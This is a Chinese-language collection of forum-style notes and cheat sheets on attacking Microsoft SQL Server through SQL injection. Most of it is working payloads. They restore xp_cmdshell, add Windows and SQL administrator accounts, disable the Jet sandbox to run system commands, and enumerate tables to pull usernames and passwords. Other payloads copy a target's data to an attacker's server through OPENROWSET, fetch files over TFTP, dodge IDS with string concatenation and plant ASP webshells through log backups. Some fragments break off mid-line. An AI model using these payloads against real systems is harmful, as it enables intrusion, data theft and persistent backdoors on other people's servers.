xp_regwrite
--将新扩展存储过程的名称注册到 Microsoft? SQL Server? 上。
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll' //恢复 xp_cmdshell
恢复过程 sp_addextendedproc 如下:
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
创建新的 Microsoft? SQL Server? 登录//只有 sysadmin 和 securityadmin 固定服务器角色的成员才可以执行
sp_addlogin。
补丁版本
其中的 8.00.760 就是 SQL Server 的版本和补丁号。对应关系如下:
8.00.194 -——————SQL Server 2000 RTM
8.00.384 -——————(SP1)
8.00.534 -——————(SP2)
8.00.760 -——————(SP3)
在 db 权限并且分离获取 mssql 数据库服务器 ip 的方法
1.本地 nc 监听 nc -vvlp 80
2.;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=xxx;Network=DBMSSOCN;Address=你的 ip,80;', 'se
lect * from dest_table') select * from src_table;--
其他的都不用管
xp_cmdshell 的删除及恢复
恢复 xp_cmdshell 的方法
删除扩展存储过过程 xp_cmdshell 的语句
exec sp_dropextendedproc ’xp_cmdshell’
恢复 cmdshell 的 sql 语句
exec sp_addextendedproc xp_cmdshell ,@dllname =’xplog70.dll’
exec master.dbo.addextendedproc ’xp_cmdshell’,’xplog70.dll’;select count(*) from master.dbo.sys
objects where xtype=’x’ and
返回结果为 1 就 ok
否则需上传 c:\inetput\web\xplog70.dll 后
exec master.dbo.sp_addextendedproc ’xp_cmdshell’,’c:\inetput\web\xplog70.dll’;--
如果是用以下方法删除
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc ’xp_cmdshell’
则可以用以下语句恢复
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
这样可以直接恢复,不用去管 sp_addextendedproc 是不是存在
去掉 tenlnet 的 ntlm 认证
;exec master.dbo.xp_cmdshell 'tlntadmn config sec = -ntlm'—
public 权限列目录
提起 public 权限的用户估计很多人也觉得郁闷了吧~N 久以前看了一篇《论在 mssql 中 public 和 db_owner 权限下拿
到 webshell 或是系统权限》的文章(名字真长-_-!!!),里面说到没办法利用 xp_regread,xp_dirtree…这些存储过
程,原因是public没有办法建表,我在这里矫正一下其实public是可以建表的~呵呵,使这些存储过程能利用上,看下面
的代码吧
--建立一个临时表,一般的表我们是无办法建立的,我们只能建立临时表
create table ##nonamed(
dir ntext,
num int
)
--调用存储过程把执行回来的数据存到临时表里面
insert ##nonamed execute master..xp_dirtree 'c:\',1
--然后采用 openrowset 函数把临时表的数据导到本地 MSSQL 的 dirtree 表里面了
insert into openrowset('sqloledb', '192.0.0.1';'user';'pass', 'select * from Northwind.dbo.dirt
ree')
select * from ##nonamed
以上方法,也就是说 public 可以遍历用户服务器的目录
MSSQL 自身存储过程的一个注入
master..sp_resolve_logins 存储过程中,对@dest_path 参数过滤不严,导致 xp_cmdshell 注入。
分析:
SELECT @dest_path = RTRIM(LTRIM(@dest_path))
-- If the last char is '\', remove it.
IF substring(@dest_path, len(@dest_path),1) = '\'
SELECT @dest_path = substring(@dest_path, 1, len(@dest_path)-1)
-- Don't do validation if it is a UNC path due to security problem.
-- If the server is started as a service using local system account, we
-- don't have access to the UNC path.
IF substring(@dest_path, 1,2) <> '\\'
BEGIN
SELECT @command = 'dir "' + @dest_path + '"'
exec @retcode = master..xp_cmdshell @command, 'no_output'
IF @@error <> 0
RETURN (1)
IF @retcode <> 0
BEGIN
raiserror (14430, 16, -1, @dest_path)
RETURN (1)
END
END
master..sp_resolve_logins 存储过程 在这一段,经过一定的判断,对 @dest_path 进行了一定的过滤。
但是没有过滤"(双引号)导致了 xp_cmdshell 执行任意 SQL 语句
测试代码:
EXEC sp_resolve_logins 'text', 'e:\asp\"&net user admina admin /add&net localgroup administrato
rs admina /add&dir "e:\asp', '1.asp'
执行上述 MSSQL 语句,成功添加了一个名为 admina 的系统帐号
但是此存储过程代码中经过判断,需要系统 systemadmin 权限的帐号
Re:沙盒
通常一台 MSSQL 服务器同时支持 Access 数据库,所以只要有一个 sa 或者 dbowner 的连接(至少对 master 库具有 db_
owner 权限,默认情况下是没有的),就满足了修改注册表的条件,因为 MSSQL 有一个名为 xp_regwrite 的扩展,它的作
用是修改注册表的值.语法如下
exec maseter.dbo.xp_regwrite Root_Key,SubKey,Value_Type,Value
如果存在一个 sa 或者 dbowner 的连接的 SQL 注入点,就可以构造出如下注入语句 InjectionURL;EXEC master.dbo.
xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD
','0'--那我们将 SandBoxMode 开关的注册表值修改为 0 就成功了.接着连接到一个 Access 数 据库中,就可以执行系
统命令,当然执行系统命令我们只需要一个 Access 数据库相关 Select 的注入点或者直接用 ASP 文件 Select 调用这个
VBA 的 shell()函数,但是实际上 MSSQL 有一个的 OpenRowSet 函数,它的作用是打开一个特殊的数据库或者连接到另
一个数据库之中.当我 们有一个 SA 权限连接的时候,就可以做到打开 Jet 引擎连接到一个 Access 数据库,同时我们搜
索系统文件会发现 windows 系统目录下本身就存在两 个 Access 数据库,位置在%windir%\system32\ias\ias.mdb
或者%windir%\system32\ias\ dnary.mdb,这样一来我们又可以利用 OpenRowSet 函数构造出如下注入语句:Inject
ionURL';Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\winnt\system32\ias\ia
s.mdb','select shell("net user ray 123 /ad")');--
如果你觉得不大好懂的话,我可以给你做一个简化的理解:1,Access 可以调用 VBS 的函数,以 System 权限执行任意
命令 2,Access 执行这个命令是有条件的,需要一个开关被打开 3,这个开关在注册表里 4,SA 是有权限写注册表的 5,
用 SA 写注册表的权限打开那个开关 6,调用 Access 里的执行命令方法,以 system 权限执行任意命令执行 SQL 命令,
执行了以下命令:EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Eng
ine','SandBoxMode','REG_DWORD','0'Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Databas
e=c:\windows\system32\ias\ias.mdb','select shell("net user zyqq 123 /add")');Select * From Open
RowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("ne
t localgroup administrators
'group by users.id having 1=1--
'group by users.id, users.username, users.password, users.privs having 1=1--
'; insert into users values( 666, 'attacker', 'foobar', 0xffff )--
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable'-
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WH
ERE COLUMN_NAME NOT IN ('login_id')-
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WH
ERE COLUMN_NAME NOT IN ('login_id','login_name')-
UNION SELECT TOP 1 login_name FROM logintable-
UNION SELECT TOP 1 password FROM logintable where login_name='Rahul'--
看服务器打的补丁=出错了打了 SP4 补丁
and 1=(select @@VERSION)--
看数据库连接账号的权限,返回正常,证明是服务器角色 sysadmin 权限。
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'))--
判断连接数据库帐号。(采用 SA 账号连接 返回正常=证明了连接账号是 SA)
and 'sa'=(SELECT System_user)--
and user_name()='dbo'--
and 0<>(select user_name()--
看 xp_cmdshell 是否删除
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')--
xp_cmdshell 被删除,恢复,支持绝对路径的恢复
;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'--
;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetpub\wwwroot\xplog70.dll'--
反向 PING 自己实验
;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod @s,"run",NU
LL,"cmd.exe /c ping 192.168.0.1";--
加帐号
;DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run
',null, 'C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add'--
创建一个虚拟目录 E 盘:
;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' csc
ript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认 Web 站点" -v "e","e:\"'--
访问属性:(配合写入一个 webshell)
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscr
ipt.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse'
爆库 特殊技巧::%5c='\' 或者把/和\ 修改%5 提交
and 0<>(select top 1 paths from newtable)--
得到库名(从 1 到 5 都是系统的 id,6 以上才可以判断)
and 1=(select name from master.dbo.sysdatabases where dbid=7)--
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一个表 假设为 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in ('Admin')) 来
得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin'
and uid>(str(id))) 暴到 UID 的数值假设为 18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个 admin 的一个字段,假
设为 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
('id',...)) 来暴出其他的字段
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名
依次可以得到密码。。。。。假设存在 user_id username ,password 等字段
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address'))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(i
d))) 判断 id 值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access 也好用)
得到 WEB 路径
;create table [dbo].[swap] ([swappass][char](255));--
and (select top 1 swappass from swap)=1--
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec
master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SYSTEM\CurrentControlSet\Services\W3SV
C\Parameters\Virtual Roots\', @value_name='/', values=@test OUTPUT insert into paths(path) valu
es(@test)--
;use ku1;--
;create table cmd (str image);-- 建立 image 类型的表 cmd
存在 xp_cmdshell 的测试过程:
;exec master..xp_cmdshell 'dir'
;exec master.dbo.sp_addlogin jiaoniang$;-- 加 SQL 帐号
;exec master.dbo.sp_password null,jiaoniang$,1866574;--
;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;--
;exec master.dbo.xp_cmdshell 'net user jiaoniang$ 1866574 /workstations:* /times:all /passwordc
hg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators jiaoniang$ /add';--
exec master..xp_servicecontrol 'start', 'schedule' 启动服务
exec master..xp_servicecontrol 'start', 'server'
; DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'ru
n',null, 'C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add'
;DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run
',null, 'C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add'
'; exec master..xp_cmdshell 'tftp -i youip get file.exe'-- 利用 TFTP 上传文件
;declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
;declare @a sysname set @a='xp'+'_cm’+’dshell' exec @a 'dir c:\'
;declare @a;set @a=db_name();backup database @a to disk='你的 IP 你的共享目录 bak.dat'
如果被限制则可以。
select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlog
in hax')
查询构造:
SELECT * FROM news WHERE id=... AND topic=... AND .....
admin'and 1=(select count(*) from [user] where username='victim' and right(left(userpass,01),1)
='1') and userpass <>'
select 123;--
;use master;--
:a' or name like 'fff%';-- 显示有一个叫 ffff 的用户哈。
and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) wher
e name='ffff';--
;update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where
name='ffff';--
';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110)
where name='ffff';--
';update [users] set email=(select top 1 count(id) from password) where name='ffff';--
';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff';--
';update [users] set email=(select top 1 name from password where id=2) where name='ffff';--
上面的语句是得到数据库中的第一个用户表,并把表名放在 ffff 用户的邮箱字段中。
通过查看 ffff 的用户资料可得第一个用表叫 ad
然后根据表名 ad 得到这个表的 ID 得到第二个表的名字
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x
63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--
insert into users values( 667,123,123,0xffff)--
insert into users values ( 123, 'admin''--', 'password', 0xffff)--
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 //为 access 数据库
枚举出数据表名
;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--
这是将第一个表名更新到 aaa 的字段处。
读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>'刚才得到的表名')。
;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'
vote');--
然后 id=1552 and exists(select * from aaa where aaa>5)
读出第二个表,一个个的读出,直到没有为止。
读字段是这样:
;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--
然后 id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--
然后 id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'
你得到的表名' 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and s
tatus>0 and name not in('table1','table2',…)
通过 SQLSERVER 注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是 SYSADMIN 组]
[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_name(object_id('要查询的数据表名'),字段列如:1) [ where 条
件]
绕过 IDS 的检测[使用变量]
;declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
;declare @a sysname set @a='xp'+'_cm’+’dshell' exec @a 'dir c:\'
1、 开启远程数据库
基本语法
select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=123', 'select * from table1'
)
参数: (1) OLEDB Provider name
2、 其中连接字符串参数可以是任何端口用来连接,比如
select * from OPENROWSET('SQLOLEDB', 'uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,143
3;', 'select * from table'
3.复制目标主机的整个数据库 insert 所有远程表到本地表。
基本语法:
insert into OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=123', 'select * from table1')
select * from table2
这行语句将目标主机上 table2 表中的所有数据复制到远程数据库中的 table1 表中。实际运用中适当修改连接字符串
的 IP 地址和端口,指向需要的地方,比如:
insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;',
'select * from table1') select * from table2
insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;',
'select * from _sysdatabases')
sele
Re:log 备份的总结
当 SQL 注入是得到 DB 权限时候,接下来可以做的工作很多,象找管理员密码,后台管理这些都可以帮助你拿到 WEBSH
ELL,但是这篇文章讲的是 log 备份,LOG 备份出来的小马的体积小,而且备份的成功的可性很大,所以是我作为对 DB 权
限的第一种试探方法.
但是在 LOG 备份中,我们经常会遇到一些很让我们头痛的问题,那就是闭合的问题,我在这里做个总结,也
好让我们对不能闭合的方法有一个全面的了解.
1.先介绍下 LOG 备份,这个相信大家都很熟悉了,我还是习惯在 IE 里直接提交,返回正常的页面就说这一步的操作就
成功了,如果没有返回正常的页面,我们就可以根据IE返回的错误来找他的原因.(这里说下要将IE的错误提示给打开),
LOG 的格式如下所示:
http://www.site.com/xx.asp?id=xxx;alter database databasename set RECOVERY FULL
http://www.site.com/xx.asp?id=xxx;create table cmd (a image)--
http://www.site.com/xx.asp?id=xxx;backup log databasename to disk = 'c:\cmd' with init
http://www.site.com/xx.asp?id=xxx;insert into cmd (a) values ('<%%25Execute(request("go"))% %2
5>')--
http://www.site.com/xx.asp?id=xxx;backup log databasename to disk = 'x:\xxx\xxx\asp1.asp'--
http://www.site.com/xx.asp?id=xxx;drop table cmd--
分为 6 步操作,最容易出错的就是第 4 步的操作,经常返回没有闭合的问题,下面就是一些我们可以将
values 中的内容可以进行更换的方式,当我们的一种方式不行的话,就可以换另一种方式,当所有的方式
都换完了,没有什么好说的,要么就放弃,要么就换另一种方式继续,想列目录找数据库下载,后台.这
里就不多说了,可以提换的内容有:
a).<%%25Execute(request("go"))%%25>
b).<%Execute(request("go"))%>
c).%><%execute request("go")%><%
d).<script language=VBScript runat=server>execute request("sb")</Script>
e).<%25Execute(request("l"))%25>
2.LOG 备份要注意的一些问题:
a).要注意你现在的机器是不是 WEB 主机,简单的方法就是翻他的目录,看有没有 IIS 安装的文件
b).当你确定你要找的确实是 WEN 主机时,就可以找他的站点目录了,这个也很重要,是步骤 5 的操作,如果备份到一个
错误的目录,当然就没有办法访问了
c).备份成功后,你就可以试着用客户端去连接,这个地方也有人弄错,现在用的字段是 go,你的客户端的
相关字段也为 go
d).用 ececute 正常备份出来的是用错误提示的,当你的显示 500 错误时,请你将的 IE 错误提示打开,当显示
Microsoft VBScript 运行时错误 错误 '800a000d'
类型不匹配: 'execute'
时候表示你已经成功了,连接吧!!
e).还有极端的时候你备份出来的一句话被杀(当你确定你确实是备份在 WEB 主机的对应目录是),你可以将
上面的 VALUES 字段中的值做几个大小写转换,一般是没有问题的..
------------------------------------------------------------------------
今天测试 log 备份获取 WEBSEHLL 遇到点问题,首先说下我自己理解通过 log 备份和差异备份的区别(不对和不完善的
请大家指出与补充)。LOG 备份得到的 WEBSHELL 文件小,大大增加了成功率。避免了数据库里有特殊字符备份不成功
的情况。今天在测试是没成功,备份出来没有一句话马,功能失去了,也就没有任何意义了。提交上来讨论下错误之处。
由于是议题讨论。用了真实地址,请勿破坏!
以下是我的语句:
引用内容
;alter database dweb set RECOVERY FULL--
;create table cmd (a image)--
;backup log dweb to disk = ‘c:\Sammy‘ with init--
;insert into cmd (a) values (‘0x3C256576616C20726571756573742822732229253E‘)--
;backup log dweb to disk = ‘d:\chen\s2.asp‘--
备份结果
http://www.site.com/s2.asp
十六进制形式备份出来了!
我再用如下语句! 引用内容
;Drop table [cmd]--
;alter database dweb set RECOVERY FULL--
;create table cmd (a image)--
;backup log dweb to disk = ‘c:\Sammy‘ with init--
;insert into cmd (a) values (‘<%eval request("s")%>‘)--
;backup log dweb to disk = ‘d:\chen\sssjjk.asp‘--
如果又如下
http://www.site.com/sssjjk.asp
是何原因使 LOG 备份不成功呢?
是因为数据表没有写到你备份的数据库当中,导致备份的 ASP 文件中没有写入我们希望的一句话木马,请在和数据表操
作相关的语句中加入数据库名,如:create table dweb.dbo.[cmd] (a image)--,然后再执行备份语句就可以成功

呵呵,你把马改成"<%%25Execute(request("s"))%%25>" 来试试..
注意,是加个.%25
问题已解决,把语句换成!
;insert into cmd (a) values (‘<%%25eval request("s")%%25>‘)--
确实能成功!谢谢!
;insert into cmd (a) values (‘0x3C256576616C20726571756573742822732229253E‘)--
楼主的这句是写 字符串 “0x3C256576616C20726571756573742822732229253E”到文件里 而不是木马
把单引号去掉就可以了
insert into cmd (a) values (0x3C256576616C20726571756573742822732229253E)--
…………………………………………………………………………………………………………
Blog 被人渗透了一下,不知道各位掉了什么东西没有。原来有一次 blog 的目录可以列出来,那次我掉了一个小东西,
然后今天别人告诉我 NBSI 3 用了那个东西的方法……呵呵,有点晕,就是下面的,成功率还是很高的,大家可以试试
看。嗯,方法流出去无所谓,文章留着吧。
dbowner 通过注射得到一个 shell 应该不是什么难事情了,比较麻烦的是就算利用增量备份,仍然有很多不确定的
因素,如果之前别人有过什么错误的写入信息,可能备份出来得到的还是一些不能用的 500 错误,如何能够提高成功率
及重用性呢?如果单从调整增量备份的方式来看,尽管能够达到一些效果,但是方法比较复杂而且效果不明显。加上关
于重用性的考虑,例如多次备份的成功率,backup database 的方法并不太适用。这里将要讲述的是另外一个备份的
方法,导出日志文件到 web 目录来获得 shell。
饭要一口一口的吃,技术问题也要一个一个的解决,得到 webshell 首先要知道物理路径,然后才能说其他的。关
于物理路径的暴露有很多方法,注入也可以得到,这点 nbsi2 已经做到了,就不再多说。值得注意的是,如果数据库和
web 分离,这样肯定得不到 webshell,备份出来的东西可以覆盖任何文件,一些关于开始菜单的想法还是有效的,只
要注意扩展名就好。扯远了,反正如果数据库和 web 在一块的,你就有机会,反之还是想其他的办法吧。
然后你要得到当前的权限和数据库名。如果是 sysadmin 当然没有必要做很复杂的事情,dbowner 足矣,public
则不行。当前打开的库名用一个 db_name()就可以得到,同样很简单。
默认的情况是,一般选择的数据库故障还原类型都是简单,这时候不能够对日志文件进行备份。然而我们都是 dbo
wner 了,还有什么不能做的呢,只要修改一下属性就可以。由于不能去企业管理器中修改,只有用一段 SQL 语句,很
简单的,这样就可以:
alter database XXXX set RECOVERY FULL
其中 XXXX 是你得到的数据库的名字,执行过后就可以备份日志了。这种修改是破坏性的,因为你不知道以前的故
障还原模式是什么,细心的管理员看到异样,可能就要开始起疑心。如果之前你能得到数据库的状态,最好还是在备份
完以后把这个数据库的属性改回来。
剩下的事情就是怎样让数据库用最原始的方式记录下你的数据了。这一点和 backup database 中设定表名为 imag
e 的问题相对应,如果你只是建立一个之类的表,日志里面的记录还是以松散的格式记录的,也就是< % % >,没有任
何效果。通过实际的测试,发现还是可以通过与 backup database 类似的方式记录进去,如下:
create table cmd (a image)
insert into cmd (a) values (’’)
backup log XXXX to disk = ’c:\xxx\2.asp’
这样你已经得到一个 webshell 了。
到这里就完了么?没有,呵呵,我们继续。
到这里有两个分支方向,第一个,让注入的时候不出现单引号,太简单了,我都懒得写;第二个,减小这个 webshell
的长度以及提高成功率。下面的方法就是讨论第二个分支问题的,同样适用于 backup database 的减小。
首先是初始化这个日志。
backup log XXXX to disk = ’c:\caonima’ with init
这样有点类似于增量备份的第一步,不过有点不同的是,你做了这个以后,你备份出来的可用的 shell 是固定的。
这一点比较重要,因为有了这一步,不管管理员在数据库里面做了什么扰乱你 back database 的手脚,或者你之前有
多少混蛋(你肯定会这么想的)弄了些你不喜欢的东西,都没有关系,甚至你做过以后,别人在后面再按照你的方法来
一次,还是会成功,这对于偶尔出现的反复,比如对方机器重装但是数据库和代码没变,有不小的帮助。
然后是调整一下 backup 中各个语句的顺序。通过第一点,大概的步骤已经确定下来了,那就是:
引用内容
alter database XXXX set RECOVERY FULL
backup log XXXX to disk = ’c:\Sammy’ with init
create table cmd (a image)
insert into cmd (a) values (’’)
backup log XXXX to disk = ’c:\xxx\2.asp’
这样不好,感觉上多了一条没用的东西。
create table cmd (a image)
确实有点讨厌,不过这句是必要的,只好调整一下位置,弄到其他地方去。调换一下顺序似乎还可以小一点,对于
backup database 中的增量情况同样是可以的,backup database 甚至可以仅仅在 update 后马上备份,不过由于涉
及到了数据的存储格式,情况很复杂,这里不讨论。调整后的是:
引用内容
alter database XXXX set RECOVERY FULL
create table cmd (a image)
backup log XXXX to disk = ’c:\Sammy’ with init
insert into cmd (a) values (’’)
backup log XXXX to disk = ’c:\xxx\2.asp’
成功的话,备份出来的 shell(上面的 2.asp)有 78.5k,文件长度固定的是 80,384 字节。很挑剔的朋友也可以
接受了吧,当然用这个来生成一个干净的木马也可以——这本来就是顶端 cs 木马的 s 端,很通用的。
显示所有固定数据库角色的权限。
EXEC sp_dbfixedrolepermission
Sql 注射总结(早源于'or'1'='1)
最重要的表名:
select * from sysobjects
sysobjects ncsysobjects
sysindexes tsysindexes
syscolumns
systypes
sysusers
sysdatabases
sysxlogins
sysprocesses
最重要的一些用户名(默认 sql 数据库中存在着的)
public
dbo
guest(一般禁止,或者没权限)
db_sercurityadmin
ab_dlladmin
一些默认扩展
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
xp_availablemedia 驱动器相关
xp_dirtree 目录
xp_enumdsn ODBC 连接
xp_loginconfig 服务器安全模式信息
xp_makecab 创建压缩卷
xp_ntsec_enumdomains domain 信息
xp_terminate_process 终端进程,给出一个 PID
例如:
sp_addextendedproc 'xp_webserver', 'c:/temp/xp_foo.dll'
exec xp_webserver
sp_dropextendedproc 'xp_webserver'
bcp "select * FROM test..foo" queryout c:/inetpub/wwwroot/runcommand.asp -c -Slocalhost -Us
a -Pfoobar
' group by users.id having 1=1-
' group by users.id, users.username, users.password, users.privs having 1=1-
'; insert into users values( 666, 'attacker', 'foobar', 0xffff )-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable
'-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable
' where COLUMN_NAME NOT IN ('login_id')-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable
' where COLUMN_NAME NOT IN ('login_id','login_name')-
union select TOP 1 login_name FROM logintable-
union select TOP 1 password FROM logintable where login_name='Rahul'--
构造语句:查询是否存在 xp_cmdshell
' union select @@version,1,1,1--
and 1=(select @@VERSION)
and 'sa'=(select System_user)
' union select ret,1,1,1 from foo--
' union select min(username),1,1,1 from users where username > 'a'-
' union select min(username),1,1,1 from users where username > 'admin'-
' union select password,1,1,1 from users where username = 'admin'--
and user_name()='dbo'
and 0<>(select user_name()-
; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shel
l,'run',null, 'C:/WINNT/system32/cmd.exe /c net user swap 5245886 /add'
and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell
')
;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
1=(%20select%20count(*)%20from%20master.dbo.sysobjects%20where%20xtype='x'%20and%20name='x
p_cmdshell')
and 1=(select IS_SRVROLEMEMBER('sysadmin')) 判断 sa 权限是否
and 0<>(select top 1 paths from newtable)-- 暴库大法
and 1=(select name from master.dbo.sysdatabases where dbid=7) 得到库名(从 1 到 5 都是系统的 id,
6 以上才可以判断)
创建一个虚拟目录 E 盘:
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,'
cscript.exe c:/inetpub/wwwroot/mkwebdir.vbs -w "默认 Web 站点" -v "e","e:/"'
访问属性:(配合写入一个 webshell)
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,'
cscript.exe c:/inetpub/wwwroot/chaccess.vbs -a w3svc/1/ROOT/e +browse'
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一个表 假设为 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in ('Admin
')) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin'and uid>(st
r(id))) 暴到 UID 的数值假设为 18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个 admin 的一个字
段,假设为 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in('id
',...)) 来暴出其他的字段
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名
依次可以得到密码。。。。。假设存在 user_id username ,password 等字段
Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin
(union 语句到处风靡啊,access 也好用
暴库特殊技巧::%5c='/' 或者把/和/ 修改%5 提交
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address
'))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(s
tr(id))) 判断 id 值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
http://xx.xx.xx.xx/111.asp?id=3400;create table [dbo].[swap] ([swappass][char](255));--
http://xx.xx.xx.xx/111.asp?id=3400 and (select top 1 swappass from swap)=1
;create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) e
